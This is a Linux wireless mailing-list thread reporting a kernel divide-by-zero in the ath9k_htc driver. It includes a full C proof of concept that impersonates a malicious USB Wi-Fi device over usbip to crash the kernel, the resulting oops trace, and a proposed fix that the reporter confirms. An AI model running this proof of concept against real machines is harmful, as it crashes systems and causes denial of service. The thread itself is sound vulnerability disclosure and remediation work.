* divide by zero in ath9k_htc_choose_bslot()
@ 2025-03-27 18:16 rtm
2025-03-31 12:26 ` Toke Høiland-Jørgensen
0 siblings, 1 reply; 5+ messages in thread
From: rtm @ 2025-03-27 18:16 UTC (permalink / raw)
To: toke; +Cc: linux-wireless
[-- Attachment #1: Type: text/plain, Size: 3535 bytes --]
The attached demo uses usbip to pretend to be a USB device for
drivers/net/wireless/ath/ath9k/
It sets up the wifi interface, and then maliciously generates a frame
that claims to be on the USB endpoint that ath9k_htc_rx_msg() passes to
ath9k_wmi_ctrl_rx(). The cmd_id in the frame is 0x1002, or
WMI_SWBA_EVENTID, which causes ath9k_wmi_ctrl_rx() to wake up the
ath9k_wmi_event_tasklet. Which calls ath9k_htc_swba(), which calls
ath9k_htc_choose_bslot(), which says
intval = priv->cur_beacon_conf.beacon_interval;
tsf = be64_to_cpu(swba->tsf);
tsftu = TSF_TO_TU(tsf >> 32, tsf);
slot = ((tsftu % intval) * ATH9K_HTC_MAX_BCN_VIF) / intval;
slot = ATH9K_HTC_MAX_BCN_VIF - slot - 1;
At this point beacon_interval is zero, so this divides by zero. On an
amd64, a fault. On a RISC-V, which produces -1 for divide by zero,
slot ends up as 2, which is too large; later on, slot=2 causes
ath9k_htc_send_buffered() to index off the end of the bslot array;
ieee80211_get_buffered_bc() then dereferences the resulting bad vif
pointer.
vif = priv->beacon.bslot[slot];
skb = ieee80211_get_buffered_bc(priv->hw, vif);
Changing ath9k_htc_choose_bslot() to return zero if intval is zero makes
the crash go away. I don't know if that would be correct with a real
Atheros device, but it probably doesn't matter since I imagine this
would only ever arise with a broken or malicious USB device.
# uname -a
Linux xxx 6.14.0-rc7 #18 SMP PREEMPT_DYNAMIC Thu Mar 27 11:26:30 EDT 2025 x86_64 x86_64 x86_64 GNU/Linux
# cc usbath1c.c
# ./a.out
...
Oops: divide error: 0000 [#1] PREEMPT SMP PTI
CPU: 2 UID: 0 PID: 29 Comm: ksoftirqd/2 Not tainted 6.14.0-rc7 #18
Hardware name: FreeBSD BHYVE/BHYVE, BIOS 14.0 10/17/2021
RIP: 0010:ath9k_htc_swba+0x5f/0x3a0
Code: 0f 85 93 02 00 00 48 8b 06 0f b7 8d c0 03 00 00 4c 8d ad b0 03 00 00 4c 89 ef 48 0f c8 48 89 c2 48 c1 ea 20 0f ac d0 0a 31 d2 <f7> f1 8d 04 12 31 d2 f7 f1 89 c3 e8 31 23 56 00 b8 01 00 00 00 29
RSP: 0018:ffffbc49c014fd88 EFLAGS: 00010246
RAX: 0000000000000000 RBX: ffff9ef116c1ef40 RCX: 0000000000000000
RDX: 0000000000000000 RSI: ffff9ef102fc006c RDI: ffff9ef116f56390
RBP: ffff9ef116f55fe0 R08: 0000000000000800 R09: 0000000000000000
R10: ffffffff862070c0 R11: 0000000000000210 R12: ffff9ef104b0c0cc
R13: ffff9ef116f56390 R14: ffff9ef104b0c060 R15: 0000000000000210
FS: 0000000000000000(0000) GS:ffff9ef42fa80000(0000) knlGS:0000000000000000
CS: 0010 DS: 0000 ES: 0000 CR0: 0000000080050033
CR2: 00007ffd54f0c1dc CR3: 00000001024f4001 CR4: 00000000003706f0
DR0: 0000000000000000 DR1: 0000000000000000 DR2: 0000000000000000
DR3: 0000000000000000 DR6: 00000000fffe0ff0 DR7: 0000000000000400
Call Trace:
<TASK>
? die+0x31/0x80
? do_trap+0xd8/0x100
? ath9k_htc_swba+0x5f/0x3a0
? do_error_trap+0x60/0x80
? ath9k_htc_swba+0x5f/0x3a0
? exc_divide_error+0x39/0x50
? ath9k_htc_swba+0x5f/0x3a0
? asm_exc_divide_error+0x1a/0x20
? ath9k_htc_swba+0x5f/0x3a0
? sched_balance_newidle.isra.0+0x29f/0x3a0
ath9k_wmi_event_tasklet+0x33/0x150
tasklet_action_common+0xb3/0x220
handle_softirqs+0xc5/0x2b0
? __pfx_smpboot_thread_fn+0x10/0x10
run_ksoftirqd+0x20/0x30
smpboot_thread_fn+0xd8/0x1d0
kthread+0xe9/0x1f0
? __pfx_kthread+0x10/0x10
ret_from_fork+0x2f/0x50
? __pfx_kthread+0x10/0x10
ret_from_fork_asm+0x1a/0x30
</TASK>
Modules linked in:
---[ end trace 0000000000000000 ]---
RIP: 0010:ath9k_htc_swba+0x5f/0x3a0
Robert Morris
rtm@mit.edu
[-- Attachment #2: usbath1c.c --]
[-- Type: application/octet-stream, Size: 19805 bytes --]
//
// CONFIG_ATH9...
// apt install firmware-ath9k-htc
//
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <sys/socket.h>
#include <sys/select.h>
#include <sys/types.h>
#include <sys/time.h>
#include <netinet/in.h>
#include <signal.h>
#include <fcntl.h>
#include <string.h>
#include <sys/wait.h>
#include <sys/resource.h>
#include <assert.h>
#define W_PRODUCT 1
#define W_REG 2
#define W_EEPROM 4
#define W_PKT 8
#define W_HDR 16
int which = W_PKT;
unsigned int vendor = 0x0cf3; // Atheros
unsigned int product = 0x9271;
unsigned long aa[] = {
0x20400003e70ull,
0x21000000070ull,
0x0ull,
0x0ull,
0x0ull,
0x0ull,
0x0ull,
0x0ull,
0x0ull,
0x0ull,
0x0ull,
0x0ull,
0x0ull,
0x0ull,
0x0ull,
0x0ull,
0x0ull,
0x0ull,
0x0ull,
0x0ull,
0x0ull,
0x0ull,
0x0ull,
0x0ull,
0x0ull,
0x0ull,
0x0ull,
0x0ull,
0x0ull,
0x0ull,
0x0ull,
0x0ull,
0x0ull,
0x0ull,
0x0ull,
0x0ull,
0x0ull,
0x0ull,
0x0ull,
0x0ull,
0x0ull,
0x0ull,
0x0ull,
0x0ull,
0x0ull,
0x0ull,
0x0ull,
0x0ull,
0x0ull,
0x0ull,
0x0ull,
0x0ull,
0x0ull,
0x0ull,
0x0ull,
0x0ull,
0x0ull,
0x0ull,
0x0ull,
0x0ull,
0x0ull,
0x0ull,
0x0ull,
0x0ull,
0x0ull,
0x0ull,
0x0ull,
0x0ull,
0x0ull,
0x0ull,
0x0ull,
0x0ull,
0x0ull,
0x0ull,
0x0ull,
0x0ull,
0x0ull,
0x0ull,
0x0ull,
0x0ull,
0x0ull,
0x0ull,
0x0ull,
0x0ull,
0x0ull,
0x0ull,
0x0ull,
0x0ull,
0x0ull,
0x0ull,
0x0ull,
0x0ull,
0x0ull,
0x0ull,
0x0ull,
0x0ull,
0x0ull,
0x0ull,
0x0ull,
0x0ull,
0x0ull,
0x0ull,
0x0ull,
0x0ull,
0x0ull,
0x0ull,
0x0ull,
0x0ull,
0x0ull,
0x0ull,
0x0ull,
0x0ull,
0x0ull,
0x0ull,
0x0ull,
0x0ull,
0x0ull,
0x0ull,
0x0ull,
0x0ull,
0x0ull,
0x0ull,
0x0ull,
0x0ull,
0x0ull,
0x0ull,
0x0ull,
0x0ull,
0x0ull,
0x0ull,
0x0ull,
0x0ull,
0x0ull,
0x0ull,
0x0ull,
0x0ull,
0x0ull,
0x0ull,
0x0ull,
0x0ull,
0x0ull,
0x0ull,
0x0ull,
0x0ull,
0x0ull,
0x0ull,
0x0ull,
0x0ull,
0x0ull,
0x0ull,
0x0ull,
0x0ull,
0x0ull,
0x0ull,
0x0ull,
0x0ull,
0x0ull,
0x0ull,
0x0ull,
0x0ull,
0x0ull,
0x0ull,
0x0ull,
0x0ull,
0x0ull,
0x0ull,
0x0ull,
0x0ull,
0x0ull,
0x0ull,
0x0ull,
0x0ull,
0x0ull,
0x0ull,
0x0ull,
0x0ull,
0x0ull,
0x0ull,
0x0ull,
0x0ull,
0x0ull,
0x0ull,
0x0ull,
0x0ull,
0x0ull,
0x0ull,
0x0ull,
0x0ull,
0x0ull,
0x0ull,
0x0ull,
0x0ull,
0x0ull,
0x0ull,
0x0ull,
0x0ull,
0x0ull,
0x0ull,
0x0ull,
0x0ull,
0x0ull,
0x0ull,
0x0ull,
0x0ull,
0x0ull,
0x0ull,
0x0ull,
0x0ull,
0x0ull,
0x0ull,
0x0ull,
0x0ull,
0x0ull,
0x0ull,
0x0ull,
0x0ull,
0x0ull,
0x0ull,
0x0ull,
0x0ull,
0x0ull,
0x0ull,
0x0ull,
0x0ull,
0x0ull,
0x0ull,
0x0ull,
0x0ull,
0x0ull,
0x0ull,
0x0ull,
0x0ull,
0x0ull,
0x0ull,
0x0ull,
0x0ull,
0x0ull,
0x0ull,
0x0ull,
0x0ull,
0x0ull,
0x0ull,
0x0ull,
0x0ull,
0x0ull,
0x0ull,
0x0ull,
0x0ull,
0x0ull,
0x0ull,
0x0ull,
0x0ull,
0x0ull,
0x0ull,
0x0ull,
0x0ull,
};
int aai;
static inline unsigned long real_symx() {
return aa[aai++];
}
static int started = 0;
static int sai = 0;
static unsigned long symx() {
#define NSYM 256
static unsigned long sa[NSYM];
if(started == 0){
started = 1;
usleep(200000);
for(int i = 0; i < NSYM; i++){
sa[i] = real_symx();
}
}
if(sai >= NSYM){
return 0;
}
return sa[sai++];
}
struct op_common {
unsigned short version;
unsigned short code;
unsigned int status;
};
struct usbip_usb_device {
char path[256];
char busid[32];
uint32_t busnum;
uint32_t devnum;
uint32_t speed;
uint16_t idVendor;
uint16_t idProduct;
uint16_t bcdDevice;
uint8_t bDeviceClass;
uint8_t bDeviceSubClass;
uint8_t bDeviceProtocol;
uint8_t bConfigurationValue;
uint8_t bNumConfigurations;
uint8_t bNumInterfaces;
} __attribute__((packed));
struct usbip_header_basic {
unsigned int command;
unsigned int seqnum;
unsigned int devid;
unsigned int direction;
unsigned int ep;
};
struct usbip_header_cmd_submit {
unsigned int transfer_flags;
int transfer_buffer_length;
int start_frame;
int number_of_packets;
int interval;
unsigned char setup[8];
};
struct usbip_header_ret_submit {
int status;
int actual_length;
int start_frame;
int number_of_packets;
int error_count;
};
int
readable(int fd)
{
fd_set readfds;
FD_ZERO(&readfds);
FD_SET(fd, &readfds);
struct timeval tv;
tv.tv_sec = 10;
tv.tv_usec = 0;
int ss = select(fd + 1, &readfds, (fd_set*)0, (fd_set*)0, &tv);
return FD_ISSET(fd, &readfds);
}
int
readn(int fd, void *xbuf, int n)
{
char *buf = xbuf;
int got = 0;
while(got < n){
if(readable(fd) == 0){
return -1;
}
int cc = read(fd, buf+got, n-got);
if(cc <= 0){
perror("usbip0: read");
return -1;
}
got += cc;
}
return got;
}
void
mkif(char **xp, int num, int alt, int eps, int cl, int subcl, int proto, int iff)
{
char *p = *xp;
// usb_interface_descriptor
*p++ = 9; // bLength
*p++ = 4; // bDescriptorType USB_DT_INTERFACE
*p++ = num; // bInterfaceNumber
*p++ = alt; // bAlternateSetting
*p++ = eps; // bNumEndpoints
*p++ = cl; // bInterfaceClass
*p++ = subcl; // bInterfaceSubClass
*p++ = proto; // bInterfaceProtocol
*p++ = iff; // iInterface
*xp = p;
}
void
mkad(char **xp, int type, int subtype)
{
char *p = *xp;
// Additional Descriptor
*p++ = 0; // bLength (filled in later)
*p++ = type; // bDescriptorType
*p++ = subtype; // bDescriptorSubtype
if(type == 36 && subtype == 1){
// AS_GENERAL
*p++ = 1; // bTerminalLink
*p++ = 1; // bDelay
*p++ = 1; // wFormatTag PCM
p++;
} else if(type == 36 && subtype == 2){
// FORMAT_TYPE
*p++ = 1; // bFormatType
*p++ = 2; // bNrChannels
*p++ = 3; // bSubframeSize
*p++ = 24; // bBitResolution
*p++ = 2; // bSamFreqType
*p++ = 2; // bSamFreqType
p += 5;
} else {
*p++ = 0; // bcdADC
*p++ = 1;
*(short*)p = 0x5f; // wTotalLength
p += 2;
*p++ = 2; // bInCollection
*p++ = 1; // baInterfaceNr(0)
*p++ = 2; // baInterfaceNr(1)
}
*(*xp) = p - (*xp); // bLength
*xp = p;
}
void
mkadx(char **xp, int type, int subtype, int len, int a[])
{
char *p = *xp;
// Additional Descriptor
*p++ = 0; // bLength (filled in later)
*p++ = type; // bDescriptorType
*p++ = subtype; // bDescriptorSubtype
for(int i = 0; i < len - 3; i++)
*p++ = a[i];
*(*xp) = p - (*xp); // bLength
*xp = p;
}
void
mkep(char **xp, int epa, int attr, int maxp)
{
char *p = *xp;
// usb_endpoint_descriptor
*p++ = 9;
*p++ = 5; // bDescriptorType USB_DT_ENDPOINT
*p++ = epa; // bEndpointAddress
*p++ = attr; // bmAttributes
*(short*)p = maxp; // wMaxPacketSize
p += 2;
*p++ = 7; // bInterval
p += 2; // ???
*xp = p;
}
int
main(int argc, char *argv[])
{
struct rlimit r;
r.rlim_cur = r.rlim_max = 0;
setrlimit(RLIMIT_CORE, &r);
int port = 3240;
int s, yes = 1;
struct sockaddr_in sin;
system("echo 0 > /sys/module/usbip_core/parameters/usbip_debug_flag");
//system("echo 4294967295 > /sys/module/usbip_core/parameters/usbip_debug_flag");
system("killall usbip");
sleep(1);
memset(&sin, 0, sizeof(sin));
sin.sin_family = AF_INET;
sin.sin_port = htons(port);
s = socket(AF_INET, SOCK_STREAM, 0);
if(s < 0){
perror("socket");
exit(1);
}
setsockopt(s, SOL_SOCKET, SO_REUSEADDR, &yes, sizeof(yes));
if(bind(s, (struct sockaddr *) &sin, sizeof(sin)) < 0){
perror("usbxxx: bind");
exit(1);
}
if(listen(s, 3000) < 0){
perror("usbxxx: listen");
exit(1);
}
system("usbip/src/usbip attach -r 127.0.0.1 -b 1-1 &");
sleep(2);
sync();
sleep(1);
int s1;
unsigned sinlen = sizeof(sin);
s1 = accept(s, (struct sockaddr *) &sin, &sinlen);
if(s1 < 0){
perror("accept");
exit(1);
}
close(s);
struct op_common op;
// OP_REQ_IMPORT
readn(s1, &op, sizeof(op));
char busid[32];
readn(s1, busid, sizeof(busid));
op.code = htons(0x03); // OP_REP_IMPORT
op.status = htonl(0); // ST_OK
write(s1, &op, sizeof(op));
struct usbip_usb_device uud;
memset(&uud, 0, sizeof(uud));
strcpy(uud.busid, busid);
//uud.speed = htonl(2); // USB_SPEED_FULL
uud.speed = htonl(3); // USB_SPEED_HIGH
//uud.speed = htonl(5); // USB_SPEED_SUPER
write(s1, &uud, sizeof(uud));
// now talking to the kernel
int cmdno = 0;
if(fork() == 0){
close(s1);
while(1){
sleep(1);
if(system("ifconfig -a | grep wlan2") == 0){
system("ifconfig wlan2 1.2.3.4 up");
system("ifconfig wlan2");
exit(0);
}
}
exit(0);
}
if(fork() == 0){
close(s1);
while(1){
sleep(1);
if(system("ifconfig -a | grep wlx020200000000") == 0){
system("ifconfig wlx020200000000 1.2.3.4 up");
system("ifconfig wlx020200000000");
exit(0);
}
}
exit(0);
}
if(which & W_PRODUCT){
product ^= symx();
}
int done = 0;
int can_tx = 0;
#define NCMD 10240
char *cmds[NCMD];
int cmdw = 0;
int cmdr = 0;
while(done == 0){
struct usbip_header_basic ibh;
//sync(); // don't sync() -- deadlock.
if(readn(s1, &ibh, sizeof(ibh)) < 0)
break;
if(ntohl(ibh.command) == 1){
// USBIP_CMD_SUBMIT
struct usbip_header_cmd_submit cs;
memset(&cs, 0, sizeof(cs));
if(readn(s1, &cs, sizeof(cs)) < 0)
break;
int translen = ntohl(cs.transfer_buffer_length);
unsigned int ep = ntohl(ibh.ep);
if(ibh.direction == 0){
char ibuf[4096];
assert(translen <= sizeof(ibuf));
if(readn(s1, ibuf, translen) < 0)
break;
if(ep == 4){
if(cmdw < NCMD){
cmds[cmdw] = malloc(64);
memcpy(cmds[cmdw], ibuf, 64);
cmdw += 1;
}
}
struct usbip_header_basic obh;
memset(&obh, 0, sizeof(obh));
obh.command = htonl(3); // USBIP_RET_SUBMIT
obh.seqnum = ibh.seqnum;
obh.devid = ibh.devid;
obh.direction = htonl(!ntohl(ibh.direction));
obh.ep = ibh.ep;
write(s1, &obh, sizeof(obh));
char rsbuf[sizeof(cs)];
memset(rsbuf, 0, sizeof(rsbuf));
struct usbip_header_ret_submit *rs = (void*)rsbuf;
rs->actual_length = htonl(translen);
write(s1, rs, sizeof(rsbuf));
} else {
char obuf[20480];
if(translen > sizeof(obuf)){
break;
}
memset(obuf, 0, sizeof(obuf));
char *p = obuf;
if(cs.setup[1] == 0x06){
// USB_REQ_GET_DESCRIPTOR
if(cs.setup[0] == 0x80 && cs.setup[3] == 1){
// USB_DT_DEVICE
// struct usb_device_descriptor
obuf[0] = 18; // bLength
obuf[1] = 1; // bDescriptorType = USB_DT_DEVICE
obuf[2] = 0x20; // bcdUSB
obuf[3] = 0x03; // bcdUSB
obuf[4] = 0; // bDeviceClass
obuf[5] = 0; // bDeviceSubClass
obuf[6] = 0; // bDeviceProtocol
obuf[7] = 64; // bMaxPacketSize0
*(short*)(obuf+8) = vendor; // idVendor
*(short*)(obuf+10) = product; // idProduct
obuf[12] = 0; // bcdDevice
obuf[13] = 1; // bcdDevice
obuf[14] = 2; // iManufacturer
obuf[15] = 3; // iProduct
obuf[16] = 1; // iSerial
obuf[17] = 1; // bNumConfigurations
} else if(cs.setup[0] == 0x80 && cs.setup[3] == 2){
// USB_DT_CONFIG
// struct usb_config_descriptor
*p++ = 9; // bLength
*p++ = 2; // USB_DT_CONFIG
short *lenp = (short*) p;
*(short*)p = 9 + 4*9 + 15*10 + 2*7; // wTotalLength
p += 2;
*p++ = 1; // bNumInterfaces
*p++ = 1; // bConfigurationValue
*p++ = 0; // iConfiguration
*p++ = 0x80; // bmAttributes
*p++ = 1; // bMaxPower
// mkif(&p, num, alt, eps, cl, subcl, proto, iff)
mkif(&p, 0, 0, 8, 0xff, 0xff, 0xff, 0);
mkep(&p, 0x01, 0x02, 0x0200);
mkep(&p, 0x82, 0x02, 0x0200);
mkep(&p, 0x83, 0x03, 0x0200);
mkep(&p, 0x04, 0x03, 0x0200);
mkep(&p, 0x05, 0x02, 0x0200);
mkep(&p, 0x86, 0x02, 0x0200);
mkep(&p, 0x87, 0x03, 0x0200);
mkep(&p, 0x08, 0x03, 0x0200);
assert(p - obuf <= sizeof(obuf));
*lenp = p - obuf;
} else if(cs.setup[0] == 0x80 && cs.setup[3] == 0x0f){
// USB_DT_BOS
// struct usb_bos_descriptor
*p++ = 5; // bLength
*p++ = 15;
*(short*)p = 0x002a; // wTotalLength
p += 2;
*p++ = 3; // bNumDeviceCaps
// usb_ext_cap_descriptor
*p++ = 7; // bLength
*p++ = 16; // bDescriptorType
*p++ = 2; // bDevCapabilityType
*(int*)p = 0x0000f41e; // bmAttributes
p += 4;
// usb_ss_cap_descriptor
*p++ = 10; // bLength
*p++ = 16; // bDescriptorType
*p++ = 3; // bDevCapabilityType
*p++ = 0; // bmAttributes
*(short*)p = 0xe; // wSpeedsSupported
p += 2;
*p++ = 1; // bFunctionalitySupport
*p++ = 10; // bU1devExitLat
*(short*)p = 2047; // bU2DevExitLat
p += 2;
// usb_ssp_cap_descriptor
*p++ = 20; // bLength
*p++ = 16; // bDescriptorType
*p++ = 10; // bDevCapabilityType
*p++ = 0; // bReserved
*(int*)p = 0; // bmAttributes
p += 4;
*(short*)p = 1; // bFunctionalitySupport
p += 2;
p += 2; // wReserved
*(int*)p = 0x000a4030;
p += 4;
*(int*)p = 0x000a40b0;
p += 4;
} else if(cs.setup[0] == 0x80 && cs.setup[3] == 3){
// USB_DT_STRING
*p++ = 6; // length
*p++ = 3; // descriptor type
*p++ = 'a';
*p++ = 'b';
*p++ = 'c';
*p++ = 'd';
}
}
unsigned char *ibuf = cs.setup;
if(ep == 0x03){
// asking for response to a previous ep=04 command/request
// ath9k_hif_usb_reg_in_cb
// ath9k_htc_rx_msg
// struct htc_frame_hdr
static int nth;
if(nth == 0){
// driver expects an unsolicited READY
// htc_process_target_rdy
*(short*)(obuf+8) = htons(1); // HTC_MSG_READY_ID
} else if(cmdr < cmdw){
// a command is waiting to be answered
char *cmd = cmds[cmdr];
memcpy(obuf, cmd, 64); // ???
if(cmd[0] == 0){
// htc_msg
int msg_id = ntohs(*(short*)(cmd+8));
if(msg_id == 2){
// connect
*(short*)(obuf+8) = htons(3);
*(short*)(obuf+10) = htons((1<<8)|0); // service_id
*(short*)(obuf+12) = htons(4); // endpoint_id
} else if(msg_id == 5){
// pipe
*(short*)(obuf+8) = htons(6);
}
if(which & W_REG){
*(long*)(obuf+8) ^= symx();
}
} else if(cmd[0] == 4){
// wmi_cmd
int command_id = ntohs(*(short*)(cmd+8));
if(command_id == 20){
// WMI_REG_READ_CMDID
int reg = ntohs(*(short*)(cmd+14));
memset(obuf+12, 0, 128); // default, esp for multi-read
if(reg == 0x4020){
// REG_READ AR_SREV(ah) 0x4020
*(int*)(obuf+12) = htonl(0x00ff | (0x40 << 12));
} else if(reg == 0x7044){
// AR_RTC_STATUS
*(int*)(obuf+12) = htonl(0x2); // AR_RTC_STATUS_ON
} else if(reg == 0x407c){
*(int*)(obuf+12) = htonl(0xa55a); // AR_5416_EEPROM_MAGIC
} else if(reg == 0x2400){
// start of eeprom
*(short*)(obuf+14) = htons(4); // length
*(short*)(obuf+18) = htons(0xffff ^ 4); // checksum
*(short*)(obuf+22) = htons((14 << 12) + 2); // version
*(short*)(obuf+26) = htons(0x0003); // opCapFlags
*(short*)(obuf+38) = htons(0x0202); // macAddr
}
if(reg < 0x2400 || (reg > 0x3d60 && reg < 0x8814) || (reg > 0x97f4)){
if(which & W_REG){
*(long*)(obuf+12) ^= symx();
}
} else if(reg >= 0x2400 && reg <= 0x3d60){
if(which & W_EEPROM){
*(long*)(obuf+12) ^= symx();
*(long*)(obuf+20) ^= symx();
*(long*)(obuf+28) ^= symx();
*(long*)(obuf+36) ^= symx();
}
} else {
// otherwise it's crypto key reset 0x8814 .. 0x97f4
}
} else if(command_id == 21){
// WMI_REG_WRITE_CMDID
int reg = ntohs(*(short*)(cmd+14));
} else if(command_id == 32){
// WMI_REG_RMW_CMDID read-modify-write
} else if(command_id == 3){
// WMI_GET_FW_VERSION
*(short*)(obuf+12) = htons(1); // major
*(short*)(obuf+14) = htons(3); // minor
if(which & W_REG){
*(long*)(obuf+12) ^= symx();
}
} else if(command_id == 5){
// WMI_ENABLE_INTR_CMDID
// ifconfig has enabled the interface
can_tx = 1;
} else {
}
}
if(which & W_HDR){
*(long *)obuf ^= symx();
}
cmdr++;
} else {
translen = 0;
}
nth++;
}
if(ep == 0x02){
// asking for a packet
// ath9k_hif_usb_rx_cb
if(can_tx){
static int nth = 0;
printf("sending packet!!!\n");
usleep(100000);
if(nth >= 3)
done = 1;
translen = 64;
*(short*)(obuf+2) = 0x4e00; // ATH_USB_RX_STREAM_MODE_TAG
if(which & W_PKT){
for(int i = 0; i < translen; i += 8){
*(long*)(obuf+i) ^= symx();
}
}
nth++;
} else {
translen = 0;
}
}
struct usbip_header_basic obh;
memset(&obh, 0, sizeof(obh));
obh.command = htonl(3); // USBIP_RET_SUBMIT
obh.seqnum = ibh.seqnum;
obh.devid = ibh.devid;
obh.direction = htonl(!ntohl(ibh.direction));
obh.ep = ibh.ep;
write(s1, &obh, sizeof(obh));
char rsbuf[sizeof(cs)];
memset(rsbuf, 0, sizeof(rsbuf));
struct usbip_header_ret_submit *rs = (void*)rsbuf;
rs->actual_length = htonl(translen);
write(s1, rs, sizeof(rsbuf));
write(s1, obuf, translen);
}
} else if(ntohl(ibh.command) == 2){
// USBIP_CMD_UNLINK
// struct usbip_header_cmd_unlink uh;
char buf[sizeof(struct usbip_header_cmd_submit)];
memset(buf, 0, sizeof(buf));
if(readn(s1, buf, sizeof(buf)) < 0)
break;
unsigned int uh = *(int*)buf;;
struct usbip_header_basic obh;
memset(&obh, 0, sizeof(obh));
obh.command = htonl(4); // USBIP_RET_UNLINK
obh.seqnum = ibh.seqnum;
obh.devid = ibh.devid;
obh.direction = htonl(!ntohl(ibh.direction));
obh.ep = ibh.ep;
write(s1, &obh, sizeof(obh));
char rsbuf[sizeof(struct usbip_header_cmd_submit)];
memset(rsbuf, 0, sizeof(rsbuf));
write(s1, rsbuf, sizeof(rsbuf));
}
cmdno += 1;
}
sleep(2);
close(s1);
sleep(2);
}
^ permalink raw reply [flat|nested] 5+ messages in thread
* Re: divide by zero in ath9k_htc_choose_bslot()
2025-03-27 18:16 divide by zero in ath9k_htc_choose_bslot() rtm
@ 2025-03-31 12:26 ` Toke Høiland-Jørgensen
2025-03-31 14:17 ` rtm
0 siblings, 1 reply; 5+ messages in thread
From: Toke Høiland-Jørgensen @ 2025-03-31 12:26 UTC (permalink / raw)
To: rtm; +Cc: linux-wireless
rtm@csail.mit.edu writes:
> The attached demo uses usbip to pretend to be a USB device for
>
> drivers/net/wireless/ath/ath9k/
>
> It sets up the wifi interface, and then maliciously generates a frame
> that claims to be on the USB endpoint that ath9k_htc_rx_msg() passes to
> ath9k_wmi_ctrl_rx(). The cmd_id in the frame is 0x1002, or
> WMI_SWBA_EVENTID, which causes ath9k_wmi_ctrl_rx() to wake up the
> ath9k_wmi_event_tasklet. Which calls ath9k_htc_swba(), which calls
> ath9k_htc_choose_bslot(), which says
>
> intval = priv->cur_beacon_conf.beacon_interval;
> tsf = be64_to_cpu(swba->tsf);
> tsftu = TSF_TO_TU(tsf >> 32, tsf);
> slot = ((tsftu % intval) * ATH9K_HTC_MAX_BCN_VIF) / intval;
> slot = ATH9K_HTC_MAX_BCN_VIF - slot - 1;
>
> At this point beacon_interval is zero, so this divides by zero. On an
> amd64, a fault. On a RISC-V, which produces -1 for divide by zero,
> slot ends up as 2, which is too large; later on, slot=2 causes
> ath9k_htc_send_buffered() to index off the end of the bslot array;
> ieee80211_get_buffered_bc() then dereferences the resulting bad vif
> pointer.
>
> vif = priv->beacon.bslot[slot];
> skb = ieee80211_get_buffered_bc(priv->hw, vif);
>
> Changing ath9k_htc_choose_bslot() to return zero if intval is zero makes
> the crash go away. I don't know if that would be correct with a real
> Atheros device, but it probably doesn't matter since I imagine this
> would only ever arise with a broken or malicious USB device.
Thank you for the report, and the thorough analysis!
So I guess this happens because your malicious device sends the SWBA
command before beacons have actually been enabled (and
ath9k_htc_beacon_config() called to set the inverval)? In which case I
think a patch like the below makes more sense than relying on
ath9k_htc_choose_bslot() returning 0. WDYT?
-Toke
diff --git i/drivers/net/wireless/ath/ath9k/htc_drv_beacon.c w/drivers/net/wireless/ath/ath9k/htc_drv_beacon.c
index 547634f82183..81fa7cbad892 100644
--- i/drivers/net/wireless/ath/ath9k/htc_drv_beacon.c
+++ w/drivers/net/wireless/ath/ath9k/htc_drv_beacon.c
@@ -290,6 +290,9 @@ void ath9k_htc_swba(struct ath9k_htc_priv *priv,
struct ath_common *common = ath9k_hw_common(priv->ah);
int slot;
+ if (!priv->cur_beacon_conf.enable_beacon)
+ return;
+
if (swba->beacon_pending != 0) {
priv->beacon.bmisscnt++;
if (priv->beacon.bmisscnt > BSTUCK_THRESHOLD) {
^ permalink raw reply related [flat|nested] 5+ messages in thread
* Re: divide by zero in ath9k_htc_choose_bslot()
2025-03-31 12:26 ` Toke Høiland-Jørgensen
@ 2025-03-31 14:17 ` rtm
2025-04-01 18:13 ` Jeff Johnson
0 siblings, 1 reply; 5+ messages in thread
From: rtm @ 2025-03-31 14:17 UTC (permalink / raw)
To: Toke Høiland-Jørgensen; +Cc: linux-wireless
Toke,
Yes, your fix makes the problem go away for me, and does seem
like the better approach.
Robert
> diff --git i/drivers/net/wireless/ath/ath9k/htc_drv_beacon.c w/drivers/net/wireless/ath/ath9k/htc_drv_beacon.c
> index 547634f82183..81fa7cbad892 100644
> --- i/drivers/net/wireless/ath/ath9k/htc_drv_beacon.c
> +++ w/drivers/net/wireless/ath/ath9k/htc_drv_beacon.c
> @@ -290,6 +290,9 @@ void ath9k_htc_swba(struct ath9k_htc_priv *priv,
> struct ath_common *common = ath9k_hw_common(priv->ah);
> int slot;
>
> + if (!priv->cur_beacon_conf.enable_beacon)
> + return;
> +
> if (swba->beacon_pending != 0) {
> priv->beacon.bmisscnt++;
> if (priv->beacon.bmisscnt > BSTUCK_THRESHOLD) {
^ permalink raw reply [flat|nested] 5+ messages in thread
* Re: divide by zero in ath9k_htc_choose_bslot()
2025-03-31 14:17 ` rtm
@ 2025-04-01 18:13 ` Jeff Johnson
2025-04-02 9:09 ` Toke Høiland-Jørgensen
0 siblings, 1 reply; 5+ messages in thread
From: Jeff Johnson @ 2025-04-01 18:13 UTC (permalink / raw)
To: rtm, Toke Høiland-Jørgensen; +Cc: linux-wireless
On 3/31/2025 7:17 AM, rtm@csail.mit.edu wrote:
> Toke,
>
> Yes, your fix makes the problem go away for me, and does seem
> like the better approach.
>
> Robert
>
>> diff --git i/drivers/net/wireless/ath/ath9k/htc_drv_beacon.c w/drivers/net/wireless/ath/ath9k/htc_drv_beacon.c
>> index 547634f82183..81fa7cbad892 100644
>> --- i/drivers/net/wireless/ath/ath9k/htc_drv_beacon.c
>> +++ w/drivers/net/wireless/ath/ath9k/htc_drv_beacon.c
>> @@ -290,6 +290,9 @@ void ath9k_htc_swba(struct ath9k_htc_priv *priv,
>> struct ath_common *common = ath9k_hw_common(priv->ah);
>> int slot;
>>
>> + if (!priv->cur_beacon_conf.enable_beacon)
>> + return;
>> +
>> if (swba->beacon_pending != 0) {
>> priv->beacon.bmisscnt++;
>> if (priv->beacon.bmisscnt > BSTUCK_THRESHOLD) {
>
Toke, care to submit a patch I can apply?
Thanks,
/jeff
^ permalink raw reply [flat|nested] 5+ messages in thread
* Re: divide by zero in ath9k_htc_choose_bslot()
2025-04-01 18:13 ` Jeff Johnson
@ 2025-04-02 9:09 ` Toke Høiland-Jørgensen
0 siblings, 0 replies; 5+ messages in thread
From: Toke Høiland-Jørgensen @ 2025-04-02 9:09 UTC (permalink / raw)
To: Jeff Johnson, rtm; +Cc: linux-wireless
Jeff Johnson <jeff.johnson@oss.qualcomm.com> writes:
> On 3/31/2025 7:17 AM, rtm@csail.mit.edu wrote:
>> Toke,
>>
>> Yes, your fix makes the problem go away for me, and does seem
>> like the better approach.
>>
>> Robert
>>
